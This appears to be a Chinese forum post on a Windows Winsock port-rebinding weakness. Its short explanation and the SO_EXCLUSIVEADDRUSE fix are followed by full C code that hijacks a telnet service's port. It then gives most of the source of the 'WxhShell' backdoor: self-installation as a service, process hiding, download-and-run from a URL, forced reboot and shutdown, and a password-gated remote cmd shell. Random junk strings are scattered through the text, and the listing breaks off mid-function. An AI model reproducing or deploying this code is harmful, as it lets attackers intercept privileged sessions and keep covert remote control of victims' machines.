-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _M8'~$Sg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J0&-UnJ #G(ivRo saddr.sin_family = AF_INET; EY !o#m l2M( saddr.sin_addr.s_addr = htonl(INADDR_ANY); u"7!EhX& ,\+N}F^
bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y<Ae_yLa mmjWLrhlu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?vWF[ DRd' {l/`m.Z 这意味着什么?意味着可以进行如下的攻击: 1jzu-s,F 2H8\P+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cna%;f. M).CyY;bm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zr6.Nw 8.wtv5eZ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4!ZT_q >@G"*le*) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "tJ[M t}}Ti$$> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WyB^b-QmDh 73u97oe>1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mcQ
A' }3WP:Et 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jc]k\U SCn)j:gH; #include Vy/G-IASb #include $mAyM+ ph[ #include dqBN_P% #include /9SoVU8 DWORD WINAPI ClientThread(LPVOID lpParam); 'bH~KK5 int main() 8yOhKEPX { TntTR"6aD WORD wVersionRequested; ZjY?T)WE9 DWORD ret; z^9rM" WSADATA wsaData; XLYGhM BOOL val; lOb(XH9 SOCKADDR_IN saddr; X<W${L$G SOCKADDR_IN scaddr; b
~]v'|5[ int err; G[`2Nd< SOCKET s; PD^ 6Ywn>s SOCKET sc; eq"Xwq* int caddsize; vqoK9 HANDLE mt; Ur1kb{i DWORD tid; }{PG^ Fc<P wVersionRequested = MAKEWORD( 2, 2 ); icVB?M,m err = WSAStartup( wVersionRequested, &wsaData ); >bmdu\j5R if ( err != 0 ) { 3,hu3"@k printf("error!WSAStartup failed!\n"); ]M "U 'Z return -1; f*xv#G } KT(v'KE 1 saddr.sin_family = AF_INET; iN0'/)ar :T@} CJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )Xt#coagS c%wztP;L saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jc!V|w^ saddr.sin_port = htons(23); LV$Ko_9eA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'vq0Tw5 { x{G 'IEf printf("error!socket failed!\n"); g#1Y4 return -1; ]TtID4qL } muK.x7zyl val = TRUE; s6}SdmE //SO_REUSEADDR选项就是可以实现端口重绑定的 X4'!:& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {5ehm { B=r+
m;( printf("error!setsockopt failed!\n"); |{,c2Ck:N return -1; Dequ' } uB6Mjdp6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?djH! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9`H4"H>yG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tblduiN ]70ZerQ~L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &VCg`r-{~ { EKQ>hww8 ret=GetLastError(); v/v PU printf("error!bind failed!\n"); F]<2nb7 return -1; 96; gzG@1! } Ut/%+r"s listen(s,2); r1=j$G while(1) 8y[Rwa { #l9sQ-1Q caddsize = sizeof(scaddr); &(p5z4Df //接受连接请求 `q | )_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hc9ON&L\> if(sc!=INVALID_SOCKET) 4OAR ["f { O^ &m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N<Ym&$xR if(mt==NULL) BT3yrq9 { nLANWQk9 printf("Thread Creat Failed!\n"); ~GJ;;v1b2 break; /Q89 y[ } 3=Uy t } ?Ycl!0m CloseHandle(mt); [yc7F0Aw } =C|^C3HK closesocket(s); x wwL
WSACleanup(); (KPD`l8. return 0; Z?&ZgaSz } /m^G 99N DWORD WINAPI ClientThread(LPVOID lpParam) HvZSkq^ { xDS]k]/(T SOCKET ss = (SOCKET)lpParam; Z@*!0~NH=4 SOCKET sc; *<"{(sAvk unsigned char buf[4096]; *p\fb7Pu_3 SOCKADDR_IN saddr; D=.Ob<m`Z long num; kf |J DWORD val; ;v.J
D7 DWORD ret; r%$\Na'' //如果是隐藏端口应用的话,可以在此处加一些判断 #3RElI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 /9Qr1@&v saddr.sin_family = AF_INET; COBjJ3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /3sX>Rj saddr.sin_port = htons(23); \;Q!}_ K if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6rCUq
{ )
jM-5}" printf("error!socket failed!\n"); 6iHY{WcDj return -1; -Oz! GX } Cy5iEI# val = 100; =Uo*-EH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) utn,`v { bcxR7<T,"9 ret = GetLastError(); ,I]]52+?4 return -1; tqp i{e } S<i.O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2#/sIu-L { X(8LhsP ret = GetLastError(); ^q%f~m,O< return -1; nYvkeT } 4v{Ye,2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _)YB*z5 { U 17=/E printf("error!socket connect failed!\n"); &%(SkL_] closesocket(sc); *%atE closesocket(ss); $
)2zz>4 return -1; SD@ 0X[ } 7*WO9R/ while(1) 7:JGr O { ];=|))ky" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q& KNK //如果是嗅探内容的话,可以再此处进行内容分析和记录 W?ghG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S&'s/jB num = recv(ss,buf,4096,0); KilN`?EJ if(num>0) )Q}Q -Zt send(sc,buf,num,0); R,OT\FQ< else if(num==0) \TDn q!)? break; }6{00er num = recv(sc,buf,4096,0); 8f%OPcr& if(num>0) /V]i3ac send(ss,buf,num,0); p=i6~ else if(num==0) gnb+i` break; _,e4?grP# } G<`(d@g closesocket(ss); rH\oFCzC closesocket(sc); R'atg
9 return 0 ; g1l:k1\Ht } G$CSZrP. Q+_z*
!u4eI0?R? ========================================================== mGmZ}H'{ "W9z>ezp 下边附上一个代码,,WXhSHELL BXz g33 zh(=kS` ========================================================== I9#l2<DYlX t47;X}y f #include "stdafx.h" \DD4=XGA Li 9$N"2 #include <stdio.h> zQu9LN #include <string.h> 4TiHh #include <windows.h> ]ZI@?H?
O #include <winsock2.h> $d.Dk4.ed #include <winsvc.h> l!\~T"-7;: #include <urlmon.h> j*GS')Cm KO"+"1 . #pragma comment (lib, "Ws2_32.lib") @ @(O##(7 #pragma comment (lib, "urlmon.lib") T5:xia>8O +-5YmN' #define MAX_USER 100 // 最大客户端连接数 oBo |eRIt| #define BUF_SOCK 200 // sock buffer x7jFYC #define KEY_BUFF 255 // 输入 buffer vuJEPn% e$rPXRf #define REBOOT 0 // 重启 T+%P+ #define SHUTDOWN 1 // 关机 N+pCC ^.~e #define DEF_PORT 5000 // 监听端口 pRjrMS <w?k<%( 4 #define REG_LEN 16 // 注册表键长度 2l:cP2fa #define SVC_LEN 80 // NT服务名长度 ^L.'At hC]:+.Q+ // 从dll定义API ?k^m|Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P1$D[aF9$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X_,R!$wbg: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yGX5\PSo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qz$nWsD |S:erYE,G // wxhshell配置信息 GE !p struct WSCFG { WU,b<PU & int ws_port; // 监听端口 axN\ZXU char ws_passstr[REG_LEN]; // 口令 _[wG-W/9R int ws_autoins; // 安装标记, 1=yes 0=no jL'R4z char ws_regname[REG_LEN]; // 注册表键名 lWP]}Uy=5~ char ws_svcname[REG_LEN]; // 服务名 w:R#F(
'B char ws_svcdisp[SVC_LEN]; // 服务显示名 #v6<9>% char ws_svcdesc[SVC_LEN]; // 服务描述信息 u1.0-Y? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m6gMVon int ws_downexe; // 下载执行标记, 1=yes 0=no ^E+fmY2a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Qj|tD+< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <;1M!.)5 7(|f@Y~* }; 3Jj&wHp] i]qxF&1 // default Wxhshell configuration E7/i_Xkk struct WSCFG wscfg={DEF_PORT, ^^a%Lz)U "xuhuanlingzhe", xjrL@LO# 1, ::cI4D "Wxhshell", L{&Yh|} "Wxhshell", )YwLj&e4tf "WxhShell Service", oP:R1< "Wrsky Windows CmdShell Service", QDb8W*&< "Please Input Your Password: ", _C|j"f/} 1, KYz@H#M " http://www.wrsky.com/wxhshell.exe", g{kjd2 "Wxhshell.exe" ;(K"w* }; ,<s:*
k aH_FBY // 消息定义模块 GSfU*@L3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >CHb;*U char *msg_ws_prompt="\n\r? for help\n\r#>"; T?tZ?!6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; la^K|!| char *msg_ws_ext="\n\rExit."; _({wJ$aYC char *msg_ws_end="\n\rQuit."; # 00?]6`z char *msg_ws_boot="\n\rReboot..."; {V8uk$ char *msg_ws_poff="\n\rShutdown..."; i#*lK7 char *msg_ws_down="\n\rSave to "; 7[0CVWs, ~I~lb/ char *msg_ws_err="\n\rErr!"; F9A5}/\ char *msg_ws_ok="\n\rOK!"; =&DuQvN, DH4IF i> char ExeFile[MAX_PATH]; s; sr(34
int nUser = 0; ^_W] @m2 HANDLE handles[MAX_USER]; j^h:*rw int OsIsNt; J'k^(ZZ 82 o|(pw SERVICE_STATUS serviceStatus; sN MF(TY SERVICE_STATUS_HANDLE hServiceStatusHandle; -e0?1.A$ WKwYSbs( // 函数声明 3|EAOoWnK int Install(void); = U[$i"+ int Uninstall(void); H%i [; int DownloadFile(char *sURL, SOCKET wsh); u
Qg$hS int Boot(int flag); 8CH9&N5W5t void HideProc(void); 6#a82_ int GetOsVer(void); C+dz0u3s int Wxhshell(SOCKET wsl); g*w}m>O void TalkWithClient(void *cs); JLg/fB3% int CmdShell(SOCKET sock); 'rVB2
`z- int StartFromService(void); Id8e%) int StartWxhshell(LPSTR lpCmdLine); E;q+u[$ >T{TE"XyO| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JE<h VOID WINAPI NTServiceHandler( DWORD fdwControl ); OXB 5W#$ *R7bI?ow // 数据结构和表定义 d vo|9 > SERVICE_TABLE_ENTRY DispatchTable[] = lB!M;2^)X { gQ<{NQMzvd {wscfg.ws_svcname, NTServiceMain}, oqg +<m {NULL, NULL} ,v?FR
}v }; 0}'/3Q K%u>'W // 自我安装 HC6v#-( `{ int Install(void) (aq-aum-I { 4i<GqG char svExeFile[MAX_PATH]; vV"I}L HKEY key; NH*"AE; strcpy(svExeFile,ExeFile); UVW4KUxR a^Q
?K\c4N // 如果是win9x系统,修改注册表设为自启动 sI{?4k if(!OsIsNt) { :%+9y @% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V=YDqof RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $)KNp dXh RegCloseKey(key); SA%)xGRW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rMw$T=Oi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k"m+i RegCloseKey(key); yf4 i!~ return 0; ~3%aEj } Y3-f68*( } xZ
SDA8kS } <)Y jVGG else { 8I<j"6`+Q A.RG8" // 如果是NT以上系统,安装为系统服务 <$C3]
=2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5@pLGMHT if (schSCManager!=0) (CAkzgTfc { ?D(aky#cyc SC_HANDLE schService = CreateService %MCS_'N
J ( voJJoy% schSCManager, >\3N#S"PF wscfg.ws_svcname, R0|4KT-i wscfg.ws_svcdisp, ;hh.w?? SERVICE_ALL_ACCESS, -M4VC^_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =-qYp0sVP SERVICE_AUTO_START, U r8JG&, SERVICE_ERROR_NORMAL, k?1e+ \ svExeFile, z.OJ1vY7 NULL, k`s_31< NULL, 0n={Mb NULL, Z>dvth NULL, |;I"Oc.w^R NULL 7f<@+& ); Ht@5@(W]I if (schService!=0) &!FI!T
-WH { itcM-? CloseServiceHandle(schService); fUOQ(BGp CloseServiceHandle(schSCManager); Pu 'NSNT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;*d?Qe: strcat(svExeFile,wscfg.ws_svcname); sLSH`Xy?5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d ]#`?} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kjt(OFh'Y+ RegCloseKey(key); l% qh^0 return 0; &'?Hh( } OM`Ws5W}f }
~D` CloseServiceHandle(schSCManager); Dr"PS
>. } =Wz)(N } k7(lwEgNG w{4#Q[ return 1; x&$8;2&. } U8</aQLGF
!FvL2L // 自我卸载 J0o,ZH9 int Uninstall(void) p4$4;) { `7.$
A U HKEY key; =GiN~$d Sw>,Q-32 if(!OsIsNt) { >4Qj+ou if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \VypkbE+ RegDeleteValue(key,wscfg.ws_regname); PO|gM8E1x? RegCloseKey(key); N(O*"1b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N Ff`V RegDeleteValue(key,wscfg.ws_regname); y(Em+YTD RegCloseKey(key); -U;=]o1 return 0; ;qcOcm% } Dv4 H^ } -a'D~EGB^ } c(!pcB8 else { b=SCyGxlZ5 IBW-[lr7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6H;\Jt if (schSCManager!=0) mApl;D X { +,)Iv_Xl$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t"5ZYa if (schService!=0) w8#ji 1gX { i8#:y`ai if(DeleteService(schService)!=0) { 162Dj$ CloseServiceHandle(schService); UlPGB2B CloseServiceHandle(schSCManager); 3PkU>+.6 return 0; ?.c:k;j } ]@CXUa,>a CloseServiceHandle(schService); =%B}8$.| } *o<|^,R CloseServiceHandle(schSCManager); O>9-iqP>`d } M}
+s_h9 } Fz5eCe\B Ci2*5n< return 1; lbh7`xCR } MOm+t]vq1 z9v70
q // 从指定url下载文件 c2]h.G83 int DownloadFile(char *sURL, SOCKET wsh) S$a.8Xh { 4y$okn\}i HRESULT hr; |lyspD char seps[]= "/"; hW\'EJ char *token; KbH|'/w char *file; -67!u; char myURL[MAX_PATH]; 3@1$y`SN char myFILE[MAX_PATH]; X<f4X"y Ty*+?#` strcpy(myURL,sURL); n} ]gAX token=strtok(myURL,seps); t$lJgj(
while(token!=NULL) 3(:?Z-iKe { pezfB{x? file=token; {J/+KK token=strtok(NULL,seps); 7'ws: #pC } 7UUu1"|a| \vuWypo GetCurrentDirectory(MAX_PATH,myFILE); g3Ul'QJ strcat(myFILE, "\\"); 7_eV.'h strcat(myFILE, file); zXxA" send(wsh,myFILE,strlen(myFILE),0); Ym$`EN send(wsh,"...",3,0); :j`XU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fe}RmnAC if(hr==S_OK) "kKIv|` return 0; (Sj<>xgd else l>("L9 return 1; -.-@|*5 %~0]o@LW7 } 5H(
]"C w*u.z(:a` // 系统电源模块 iL~(BnsF int Boot(int flag) _j~y;R) { !|cM<}TF, HANDLE hToken; :\%hv>}| TOKEN_PRIVILEGES tkp; B|=S-5pv* ppeF,Q if(OsIsNt) { V2g"5nYT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \\Z?v,XsS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }$* z:E tkp.PrivilegeCount = 1; Q_*.1L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &0{&4, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AR
g]GV/L if(flag==REBOOT) { |Vp
? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `*]r+J2 return 0; zY].ZS=7 } !.O;SG else { %PPkT]~\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Ic)]6z
R return 0; s,M]f,T } u5`b")a } T
^/\Rr else { "J`# if(flag==REBOOT) { BiZYGq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tw]
l return 0; dd4^4X`j } ho!qXS else { C k/DV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WJ\,Y} J return 0; 52r\Q}v$ } j
~I_by } 4UN|`'c M1*x47bN return 1; &0+Ba[Z ^ } gGs"i]c ifmX<'(9A // win9x进程隐藏模块 9rM#w"E?< void HideProc(void) _#
&_`bZH { q{!ft9|K\d ?` 2z8uD/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !)`m mr if ( hKernel != NULL ) hl,x|.f}4Y { `J;g~#/k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1TgD;qX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +77j2W_0 FreeLibrary(hKernel); '1Ex{$Yk } $`L
| ^ JU#_ return; G}nj
71=H } mw83 pU6 ~SwGZ // 获取操作系统版本 gj
}Vnv1[ int GetOsVer(void) xk^`4; { unr`.}A2> OSVERSIONINFO winfo; mlz|KI~\F; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HrRw GetVersionEx(&winfo); ]v_u2f' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (62Sc] return 1; .pblI else cHnd
gUW] return 0; |"}rC >+ } <JW%h :\t 7&Ie3[Rm_3 // 客户端句柄模块 -r[O_[g w int Wxhshell(SOCKET wsl) :GM3n$ { `/(9#E SOCKET wsh; {k']nI.> struct sockaddr_in client; (Y"./BDY DWORD myID; p<B*)1Tj0 D% 2S! while(nUser<MAX_USER) B!J&=*=e { _V3}F1?W int nSize=sizeof(client); [6nN]U~ Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6)~7Uf:<v if(wsh==INVALID_SOCKET) return 1; Zy>y7O(, o3le[6C/8= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A=np?wc if(handles[nUser]==0) 6L-3cxqf\ closesocket(wsh); o\nFSGkn else -I~\ nUser++; `L3{y/U' } \{o<-S;h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1Q$/L+uJ5 =3GgfU5k return 0; ~;oaW<" } ra1_XR} bFJ>+ {# // 关闭 socket 9Wdx"g52_D void CloseIt(SOCKET wsh) r$,Xv+} { Ubh)}G,Mg closesocket(wsh); $8Gj9mw4e' nUser--; mD,fxm{G ExitThread(0); q oz[x } gbFHH,@ L(HAAqRnJ // 客户端请求句柄 5$*=;ls>J void TalkWithClient(void *cs)
~vMJ?P@ { zSBR_N51 O
2+taB SOCKET wsh=(SOCKET)cs; 3WPZZN<K9 char pwd[SVC_LEN]; /WI H#M char cmd[KEY_BUFF]; t1!>EI` char chr[1]; kU{a!ca4 int i,j; `_3Gb ?4_ME3$t while (nUser < MAX_USER) { t*Z4&Sy^ 3k:`7E. if(wscfg.ws_passstr) { t24.u+O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %D`j3cEp@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n_6#Df* //ZeroMemory(pwd,KEY_BUFF); 7_L$ XIa i=0; _I0=a@3 while(i<SVC_LEN) { +rka5ts n -xCaq // 设置超时 iz27yXHZ~ fd_set FdRead; ^a7a_M struct timeval TimeOut; yxi* 4R FD_ZERO(&FdRead); WFvVu3 FD_SET(wsh,&FdRead); 9e;:(jl^ TimeOut.tv_sec=8; D*g
K, ` TimeOut.tv_usec=0; w$jSlgUHy) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :bqUA(k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "XU)(<p U(hIT9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Q= S`z= pwd =chr[0]; ^g"% :4zO if(chr[0]==0xd || chr[0]==0xa) { ZSLvr-,D pwd=0; *EFuK8 ; break; <ti,Wn. } 9r 5( i++; <jh=W9.N_ } <9S 5 ;S'1fci6 // 如果是非法用户,关闭 socket x}O J~Yk] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NOl/y@# } E=ObfN"ge $|I hO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nHQWO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !#PA#Q|cO (Y while(1) { RAA,%rRhu( AH^ud*3F ZeroMemory(cmd,KEY_BUFF); IB^vEY!`6_ jM>;l6l // 自动支持客户端 telnet标准 VwT&A9&{8 j=0; 9T<k|b[6 while(j<KEY_BUFF) { v|nt(-JX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RP9~n)h~b
cmd[j]=chr[0]; *`t3z-L if(chr[0]==0xa || chr[0]==0xd) { )qRE['M cmd[j]=0; !z]{zM% break; %]o/p_< } &jh17y j++; `_OB_F } 4XSq\.@G eRg;)[#0>$ // 下载文件
>j&k: if(strstr(cmd,"http://")) { R+9 hog send(wsh,msg_ws_down,strlen(msg_ws_down),0); k>:\4uI|<\ if(DownloadFile(cmd,wsh)) &x/Z{ut send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,E2c9V' else soA] f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zG<>-?q~' } b6@0?_n else { J>fq5 CT(HTu switch(cmd[0]) { Wli!s~c5Fo m(CsO|pz // 帮助 N"zl7 .E case '?': { L8KaK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CUj$ <ay= break; u|(Iu}sE= } b\H,+|iK // 安装 9jllW[`2F case 'i': { xj JoWB if(Install()) VI)hA
^S send(wsh,msg_ws_err,strlen(msg_ws_err),0); SU(J else xN6}4JB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@#<qf8g break; +#6f)H(P] } DKG;up0 // 卸载 Zk5AZ R!| case 'r': { 6dYa07 if(Uninstall()) iAXF;'|W send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<nW
nD,z else 5[P^O6' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z\Z+>A break; 2c3/iYCKP } WmE4TL^8? // 显示 wxhshell 所在路径 '
?EG+o8 case 'p': { (i-L: char svExeFile[MAX_PATH]; Iv?1XI= strcpy(svExeFile,"\n\r"); ix 5\Y strcat(svExeFile,ExeFile); [!4V_yOb send(wsh,svExeFile,strlen(svExeFile),0); 1czU$!MV break; sAjN<P } 6ciA|J'MR // 重启 LWV^'B_X- case 'b': { 'r}y{`3M send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G_xql_QR if(Boot(REBOOT)) H`7T;`Yb send(wsh,msg_ws_err,strlen(msg_ws_err),0); VgMuX3= else { 0kaMYV? closesocket(wsh); ^j<2s"S ExitThread(0); }p*WH$!~ } )b,FE}YX break; hO(A_Bw } ZC)m&V1 // 关机 `-5gsJ
case 'd': { (lvp-<* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _SQ]\Z if(Boot(SHUTDOWN)) $Y%,?>AL< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3H%bbFy else { v5.KCc}" closesocket(wsh); 5E2T*EXSh ExitThread(0); R%Xz3Z&| } ZsGJ[ break; -90X^] } %/RT}CBBsW // 获取shell c\rP"y|S}; case 's': { rC6EgWt<V CmdShell(wsh); wLo<gA6; closesocket(wsh); IC-W[~ ExitThread(0); BuS[( break; kM3#[#6$! } Jv~^hN2 // 退出 s_U--y.2r( case 'x': { %\!@$]3q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o1[[!~8e CloseIt(wsh); xxpzz(S ]A break; I1JF2 "{c } mA5sK?W // 离开 \Lm`jU(:l case 'q': { "f-HOd\= send(wsh,msg_ws_end,strlen(msg_ws_end),0); M?I^`6IOc8 closesocket(wsh); {ApjOIxk WSACleanup(); EHrr}& exit(1); KqXPxp^_Al break; Lo}zT-F } i L'j9_w, } l^rQo_alk } D~ 7W FMC]KXSd // 提示信息 j_SUR)5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]m#*4 } v+'*.Iv: } {%6g6?=j _Pn
1n return; (Z Q?1Qxo } RHmT$^= &cy<"y // shell模块句柄 Dc0CQGx9b int CmdShell(SOCKET sock) \
F)}brPc { P3TM5 STARTUPINFO si; TmJXkR.5 ZeroMemory(&si,sizeof(si)); fj[Kbo 7!h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H_w?+Rig si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZN!<!"~ PROCESS_INFORMATION ProcessInfo; {}BAQ9|q char cmdline[]="cmd"; 3lN@1jlh CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l_P90zm39! return 0; U"L-1]L } }`]Et99Q5 lDZ~ // 自身启动模式 l_zTpyOZ int StartFromService(void) Cw~fP[5XMF { >txeo17Ba\ typedef struct 5e&;f { %.;;itB DWORD ExitStatus; ^t,haO4 DWORD PebBaseAddress; ]aYuBoj DWORD AffinityMask; 2h1P!4W85 DWORD BasePriority; YAd%d|Q ULONG UniqueProcessId; "lL/OmG ULONG InheritedFromUniqueProcessId; rW`l1yi*$ } PROCESS_BASIC_INFORMATION; 8I0G%hD ."y tBF PROCNTQSIP NtQueryInformationProcess; }+K=>. k{cPiY^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dyB@qh~H static 